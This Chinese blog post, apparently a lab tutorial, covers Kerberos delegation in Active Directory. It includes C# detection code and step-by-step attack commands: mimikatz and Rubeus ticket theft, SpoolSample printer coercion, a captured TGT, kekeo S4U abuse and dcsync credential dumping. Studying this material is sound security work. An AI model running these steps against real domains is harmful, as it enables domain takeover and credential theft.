<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Kerberos委派以及使用C#寫代碼進行檢測

    VSole2021-10-06 07:40:06

    0x00 C#檢測委派賬戶

    前文已經寫到檢測域內dcsync,adminsdholder等后門和一些基本域內信息

    public static void Checkdelegation()
            {
                Ldapcoon.LDAP_COON();
                Font.InfoFonts();
                Console.WriteLine("\r");
                Console.WriteLine("===========非約束性委派主機===========");
                Font.NormailFonts();
                Ldapcoon.search.Filter = "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))";
                foreach (SearchResult r in Ldapcoon.search.FindAll())
                {
                    string computers = "";
                    string groupdescription = "";
                    computers = r.Properties["distinguishedName"][0].ToString();
                    Console.WriteLine(computers);
                    //groupdescription = r.Properties["description"][0].ToString();
                    //Console.WriteLine("Description: " + groupdescription + "\r");
                }
                Font.InfoFonts();
                Console.WriteLine("\r");
                Console.WriteLine("===========非約束性委派用戶===========");
                Font.NormailFonts();
                Ldapcoon.search.Filter = "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))";
                foreach (SearchResult r in Ldapcoon.search.FindAll())
                {
                    string users = "";
                    string groupdescription = "";
                    users = r.Properties["distinguishedName"][0].ToString();
                    Console.WriteLine(users);
                    //groupdescription = r.Properties["description"][0].ToString();
                    //Console.WriteLine("Description: " + groupdescription + "\r");
                }
                Font.InfoFonts();
                Console.WriteLine("\r");
                Console.WriteLine("===========約束性委派用戶=============");
                Font.NormailFonts();
                Ldapcoon.search.Filter = "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))";
                foreach (SearchResult r in Ldapcoon.search.FindAll())
                {
                    string users = "";
                    string target = "";
                    int user_count = 0;
                    int target_count = 0;
                    int len = 0;
                    user_count = r.Properties["distinguishedName"].Count;
                    target_count = r.Properties["msDS-AllowedToDelegateTo"].Count;
                    while (len < user_count)
                    {
                        users = r.Properties["distinguishedName"][len].ToString();
                        Console.WriteLine(users);
                        len++;
                    }
                    len = 0;
                    Font.Warning();
                    Console.WriteLine("\rtarget SPN");
                    Font.NormailFonts();
                    while (len < target_count)
                    {
                        target = r.Properties["msDS-AllowedToDelegateTo"][len].ToString();
                        Console.WriteLine(target);
                        len++;
                    }
                }
                Font.InfoFonts();
                Console.WriteLine("\r");
                Console.WriteLine("===========約束性委派主機=============");
                Font.NormailFonts();
                Ldapcoon.search.Filter = "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))";
                foreach (SearchResult r in Ldapcoon.search.FindAll())
                {
                    string users = "";
                    string target = "";
                    int user_count = 0;
                    int target_count = 0;
                    int len = 0;
                    user_count = r.Properties["distinguishedName"].Count;
                    target_count = r.Properties["msDS-AllowedToDelegateTo"].Count;
                    while(len < user_count)
                    {
                        users = r.Properties["distinguishedName"][len].ToString();
                        Console.WriteLine(users);
                        len++;
                    }
                    len = 0;
                    Font.Warning();
                    Console.WriteLine("\rtarget SPN");
                    Font.NormailFonts();
                    while (len < target_count)
                    {
                        target = r.Properties["msDS-AllowedToDelegateTo"][len].ToString();
                        Console.WriteLine(target);
                        len++;
                    }
                }
            }
    

    因為約束性委派會指定委派的對象可能為多個所以我們先檢測他的count然后再遍歷輸出。

    0x01 委派

    委派:當用戶A基于kerberos驗證去請求B服務,B服務使用A的身份去請求服務C。

    ?域內用戶jack以Kerberos方式認證后訪問Web服務器;

    ?Web服務以websvc服務賬號運行,websvc向KDC發起jack用戶的票據申請;

    ?KDC檢查websvc用戶的委派屬性,如果被設置,則返回jack用戶的可轉發票據TGT;

    ?websvc收到jack用戶TGT后,使用該票據向KDC申請訪問文件服務器的服務票據TGS;

    ?KDC檢查websvc的委派屬性,如果被設置,且申請的文件服務在允許的列表清單中,則返回一個jack用戶訪問文件服務的授權票據TGS;

    ?websvc收到的jack用戶的授權票據TGS后,可訪問文件服務,完成多跳認證。

    在域內只有服務賬號和機器賬號才具有委派屬性。

    機器賬號就是AD活動目錄中 Computers 中的計算機(一個普通域用戶默認最多可以創建十個主機賬號)。

    服務賬號(Service Account)是域內用戶的一種類型,是服務器運行服務時所用的賬號,將服務運行起來并加入域。例如SQL Server 在安裝時,會在域內自動注冊服務賬號 SQLServiceAccount。也可以將域用戶通過注冊SPN變為服務賬號。

    當用戶被設置為不允許被委派,那么就不能委派。

    委派可以分為:

    非約束性委派

    約束性委派

    基于資源的約束委派

    0x02 非約束委派

    操作環境:

    域:redteam.local

    域控:DC.redteam.local。主機名:DC。ip:192.168.11.16

    域管賬戶:Administrator/test123..

    域內機器:MSSQL.redteam。ip:192.168.11.8。普通賬戶:hack/test123..

    前提:在機器賬號B上配置了非約束性委派(域管理員才有權限配置)

    1.用戶訪問機器B的某個服務,于是向KDC認證。KDC會檢查機器B的機器賬號的屬性,發現是非約束性委派,KDC會將用戶的TGT放在ST服務票據中。

    2.用戶訪問機器B時,TGT票據會和ST服務票據一同發送給機器B

    3.這樣B在驗證ST服務票據的同時獲取了用戶的TGT,并將TGT存儲在LSASS進程中,從而可以模擬用戶訪問任意服務

    從網絡攻擊的角度來看,如果攻擊者控制了機器B的機器賬號,并且機器B配置了非約束性委派。則攻擊者可以誘騙管理員來訪問機器B,然后攻擊者可以獲取管理員的TGT,從而模擬管理員訪問任意服務,即獲得了管理員權限。

    在非約束行委派中,服務賬號可以獲取被委派用戶的TGT,然后把TGT存儲在LSASS進程中,從而服務賬號可以使用這個TGT去模擬用戶訪問任何服務。

    當服務賬號或者主機被設置為非約束性委派時,其userAccountControl屬性會包含WORKSTATION_TRUSTED_FOR_DELEGATION。我們設置MSSQL這個機器。

    當我們控制了機器賬號MSSQL,然后誘導管理員來訪問機器,就可以獲得管理員的TGT,從而訪問任何服務。

    2.1 篩選非約束性委派的賬號

    域控主機賬戶是默認開啟非約束性委派

    2.1.1 powerview.ps1

    Import-Module .\PowerView.ps1
     
    查詢域中配置非約束委派的賬戶
    Get-NetUser -Unconstrained -Domain redteam.local
    查詢域中配置非約束委派的主機:
    Get-NetComputer -Unconstrained -Domain redteam.local
    PS C:\Users\Administrator\Desktop> Get-NetComputer -Unconstrained -Domain redteam.local
    DC.redteam.local
    mssql.redteam.local
    PS C:\Users\Administrator\Desktop>
    

    2.1.2 ADFind

    查找域中配置非約束委派的用戶:

    AdFind.exe -b "DC=redteam,DC=local" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
    

    查找域中配置非約束委派的主機:

    AdFind.exe -b "DC=redteam,DC=local" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
    C:\Users\Administrator\Desktop>AdFind.exe -b "DC=redteam,DC=local" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
    AdFind V01.56.00cpp Joe Richards (support@joeware.net) April 2021
    Using server: DC.redteam.local:389
    Directory: Windows Server 2016
    dn:CN=DC,OU=Domain Controllers,DC=redteam,DC=local
    >cn: DC
    >distinguishedName: CN=DC,OU=Domain Controllers,DC=redteam,DC=local
    dn:CN=MSSQL,CN=Computers,DC=redteam,DC=local
    >cn: MSSQL
    >distinguishedName: CN=MSSQL,CN=Computers,DC=redteam,DC=local
    2 Objects returned
    C:\Users\Administrator\Desktop>
    

    2.1.3 ldapsearch

    查找域中配置非約束委派的用戶:

    ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
    

    查找域中配置非約束委派的主機:

    ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
    ┌──(root?kali)-[~]└─# ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"distinguishedName: CN=DC,OU=Domain Controllers,DC=redteam,DC=localdistinguishedName: CN=MSSQL,CN=Computers,DC=redteam,DC=local┌──(root?kali)-[~]└─#
    

    2.2 非約束性委派攻擊

    我們在mssql這臺機器訪問域控。

    可以看到是訪問是拒絕的。然后我們用域管賬戶去訪問MSSQL

    C:\Users\Administrator\Desktop>dir \\MSSQL.redteam.local\c$
    

    這個時候在MSSQL這臺機器的lsass.exe內存中會存在域管administrator賬戶的TGT票據。然后在MSSQL機器運行mimikatz。

    privilege::debug 導出票據sekurlsa::tickets /export
    

    然后再注入票據到內存里面,再訪問域控。

    導入票據kerberos::ptt xxx.kirbi查看票據kerberos::list
    

    2.3 非約束性委派配合打印機

    默認情況下Spooler服務是自動開啟的。

    使用本地管理員身份運行Rubeus來監聽事件id為4624的事件,然后時間設置為1秒,可以截取到域控的TGT。

    Rubeus.exe monitor /interval:1 /filteruser:DC$
    

    然通過SpoolSample.exe向域控發起請求。

    SpoolSample.exe DC MSSQL
    

    Rubeus成功接受到了TGT

    復制監聽到的TGT的base64

    doIE+jCCBPagAwIBBaEDAgEWooIEETCCBA1hggQJMIIEBaADAgEFoQ8bDVJFRFRFQU0uTE9DQUyiIjAgoAMCAQKhGTAXGwZrcmJ0Z3QbDVJFRFRFQU0uTE9DQUyjggPHMIIDw6ADAgEXoQMCAQKiggO1BIIDsTRd7H8nT8n2+xhFjdYxWkeGwWptrnyKLgxn746x3g+68Wa92RV8mkudwvNSHPEbhA05tXVs62KwV/TjlhSHcjW9U8KfzgGdJpcpF8JrbW+X0ON4J0SyuwtcubsOiulJ6yiyH4riFlMTcl6TXMdbWCnOwIriPfOnQP/jtkcZWx2J27Y2HZ8cCAL00aV14S+ajcA65Howkx1/0ts+YQVZhFpc6l9fFQfGp9R87CjPNpWXEJV0iUGSELptTfXTxNSr/oF3+G7U0KrNl+9NMjloU6tFy/gnmc1PbDnUNXYgdKssUvxUpBzfVxq7leBkX1chx91kPcRrqAZC+tUWSoyULTkCPB8OcYY2DwHy4ElaQbo3y1mmq2DtHTx/ulGvwfKbpQrDgVSKZjE7VGdQSD7eAUJB7Pbu+lHsPc30DLVIbxJEQlC7WRKi1tNc6mhQJtAEGQFUUdYSQNtvNpiphZEfNGUoPaTz/9QspD9jjyVv+Dm7lqup5ojDSAxxc0Gzg61c4KmW3pJlmVQaN4f9Of+LeuqR3tR5EWxPqmkTgv1eVwdGryiF0cNC5Q7SAxrr6mgL2pL2HpMMILwhLSWlk0YIt6qdlyhRRdBzgopSzN5yB3IkSK4RXAF4CFYbximorzkIa9jG34ge9FlSVRkjUxNXb5KnCTDhLymT3F3tJeZoGig4Q+O9pfuUutsuxzSsy8u6xuuXkvg//LuXvDDOuVbOuKHR05tPfc1f9nKqs/YclidoYN3Nf/51pgF4n0ZXieHu5hgZYhb//qKh1X51ezI0MQ1gwkmssF9724s0U1QcLIS4ts3XxPCaDfuOeOLJUoMyqt0BdvYdVn6uGl0b2kCYwtk8ouIfuBbGeSYyGcSo+//tyTNJL57TCy42wRkFecRDdsBrRP8Je46fHBDPp7dhfOwP29Yt4nHFEtCKmjNeYLKQmQnKJ2i4AJKkOyi3QYPcf8Q+uzgU8c5V4p8kj+YBtvUMKQx6Dy1+MTfFz3tY1pQ7KB2pHziop/mm1f6ZPXNtoqcrtlCL+YGDEtgAPxSqaf3eAUhXar39qpUV1ey2Y7Pv/NZg8NevdUUG83LVXIiHHbwGTPBQgccrg9qC0cGHEHs0TNy7cLKc/8s86ZCzvBffmp/Q77QKZIH6jwvxopDjnO0s5jE9F7DVqBK51AWtPuSufXbOTqNMih90jxDJrb9cOZsIqadS7K6fJK232uUHCqSBP4H7QORFRPsCV6YFR13uzFutz+zN59+Y76NUrmhkqqOB1DCB0aADAgEAooHJBIHGfYHDMIHAoIG9MIG6MIG3oBswGaADAgEXoRIEEFo/U0fj+283YVzNrDWB7b+hDxsNUkVEVEVBTS5MT0NBTKIQMA6gAwIBAaEHMAUbA0RDJKMHAwUAYKEAAKURGA8yMDIxMTAwMzEyNDAzMlqmERgPMjAyMTEwMDMyMjQwMjlapxEYDzIwMjExMDEwMTI0MDI5WqgPGw1SRURURUFNLkxPQ0FMqSIwIKADAgECoRkwFxsGa3JidGd0Gw1SRURURUFNLkxPQ0FM
    

    再Rubeus導入base64的票據直接注入進內存

    Rubeus.exe ptt /ticket:base64
    

    可以klist看到票據已經導入成功

    然后就可以直接dcsync

    lsadump::dcsync /domain:redteam.local /all /csv
    

    0x03 約束性委派

    操作環境:

    域:redteam.local

    域控:DC.redteam.local。主機名:DC。ip:192.168.11.16

    域管賬戶:Administrator/test123..

    域內機器:MSSQL.redteam。ip:192.168.11.8。普通賬戶:hack/test123..

    前提:在服務A上配置到服務B約束性委派(域管理員才有權限配置)

    1.用戶訪問服務A,于是向域控進行kerberos認證,域控返回ST1服務票據給用戶,用戶使用此服務票據訪問服務A

    2.若該服務A允許委派給服務B,則A能使用S4U2Proxy協議將用戶發送給自己的可轉發的ST1服務票據以用戶的身份再轉發給域控制器。于是域控返回給服務A一個ST2服務票據,

    3.服務A便能使用獲得的ST2服務票據以用戶的身份訪問服務B。

    從網絡攻擊的角度來看,如果攻擊者控制了服務A的賬號,并且服務A配置了到域控的CIFS服務的約束性委派。則攻擊者可以利用服務A以administrator身份訪問域控的CIFS服務,即相當于控制了域控。

    在kerberos協議里面存在兩個拓展子協議S4u2seflt和S4u2Proxy。服務賬號只能獲取用戶的TGS,這個時候就只能模擬用戶訪問特定的服務。

    當被配置了約束委派的賬戶的userAccountControl屬性有個FLAG位 TRUSTED_TO_AUTH_FOR_DELEGATION,并且msDS-AllowedToDelegateTo 屬性還會指定對哪個SPN進行委派。

    3.1 篩選約束性委派賬號

    3.1.1 ldapsearch

    查找域中配置約束委派用戶:

    ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
    

    查找域中配置約束委派的主機:

    ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
    

    3.1.2 FuckLdap

    FuckLdap.exe -d 192.168.11.16 -u hack -p test123.. --Checkdelegation
    

    3.2 約束性委派攻擊

    我們這里設置了MSSQL這個機器用戶對DC的cifs服務的委派。

    當我們要進行約束委派攻擊的前提就是拿到這臺啟用了約束委派的機器權限。

    生成TGT

    首先生成TGT

    kekeo.exe "tgt::ask /user:MSSQL$ /domain:redteam.local /NTLM:29de42b31e2b7961fda4fbe648d062c9" "exit"
    

    獲得ST

    使用這張TGT通過偽造s4U請求以administrator用戶身份請求去訪問DC的cifs的ST

    kekeo.exe "tgs::s4u /tgt:TGT_MSSQL$@REDTEAM.LOCAL_krbtgt~redteam.local@REDTEAM.LOCAL.kirbi /user:Administrator@redteam.local /service:cifs/DC.redteam.local" "exit"
    

    S4U2Self獲取到的ST1以及S4U2Proxy獲取到的DC CIFS服務的ST2會保存在當前目錄下

    注入ST2

    kerberos::ptt TGS_Administrator@redteam.local@REDTEAM.LOCAL_cifs~DC.redteam.local@REDTEAM.LOCAL.kirbi
    

    然后訪問域控

    kerberos票據
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Kerberos認證介紹Kerberos是一種計算機網絡授權協議,用來在非安全網絡中,對個人通信以安全的手段進行身份認證。這個詞又指麻省理工學院為這個協議開發的一套計算機軟件。而已有了金票后,就跳過AS驗證,不用驗證賬戶和密碼,所以也不擔心域管密碼修改。
    kerberos委派詳解
    2021-10-08 14:49:15
    委派域委派是指,將域內用戶的權限委派給服務賬號,使得服務賬號能以用戶權限開展域內活動。服務賬號,域內用戶的一種類型,服務器運行服務時所用的賬號,將服務運行起來并加入域。例如MSSQL Server在安裝時,會在域內自動注冊服務賬號'SqlServiceAccount',這類賬號不能用于交互式登錄。
    本文主要討論學習mimikatz中與Kerberos協議相關的代碼
    kerberos協議從0到1
    2021-10-12 14:26:38
    krbtgt用戶,是系統在創建域時自動生成的一個帳號,其作用是密鑰分發中心的服務賬號,其密碼是系統隨機生成的,無法登錄主機
    域滲透重要漏洞匯總
    萌新如何玩轉mimikatz
    2022-08-29 06:48:46
    暑假快到了,身邊好多師傅都開啟了"卷王"模式,而我也在南城師傅的幫助下開始了內網這個新征程;mimikatz就是我遇見的一個坎,我希望記錄下這個過程,盡可能的幫助大家更快的掌握mimikatz的用法和技巧。最后,再次謝謝南城師傅對本文的指導與幫助!!
    本文主要是對域環境下的權限維持手法進行攻擊檢測以及清理,攻擊的方法不著重描述,檢測的方法只針對終端日志,權限維持的手法也只涉及域環境獨有的,像普通終端也存在的啟動項計劃任務服務等不考慮在內,利用漏洞的也直接排除了直接打補丁就好了。
    威脅狩獵(Cyber threat hunting)是一種主動的網絡防御活動,通過主動和持續地搜索網絡,可以檢測和發現現有數字化環境中的各種安全威脅。近日,專業安全廠商CrowdStrike發布了《2023年威脅狩獵研究報告》,對過去一年中威脅狩獵專家所觀察到的最新攻擊態勢和攻擊手法進行了分析和總結。
    在信息安全領域,Kali Linux是一個廣受歡迎的滲透測試和網絡安全分析操作系統。Empire包括大量的模塊,可用于橫向移動、權限提升、數據竊取和其他后滲透操作。通過利用Windows系統中的漏洞和設計缺陷,Mimikatz能夠竊取其他用戶的憑據。這些工具只是Kali Linux中眾多強大工具的一部分。值得注意的是,這些工具應當在合法和道德的范圍內使用,以確保網絡安全和隱私保護。
    最新提權漏洞原理深入分析
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类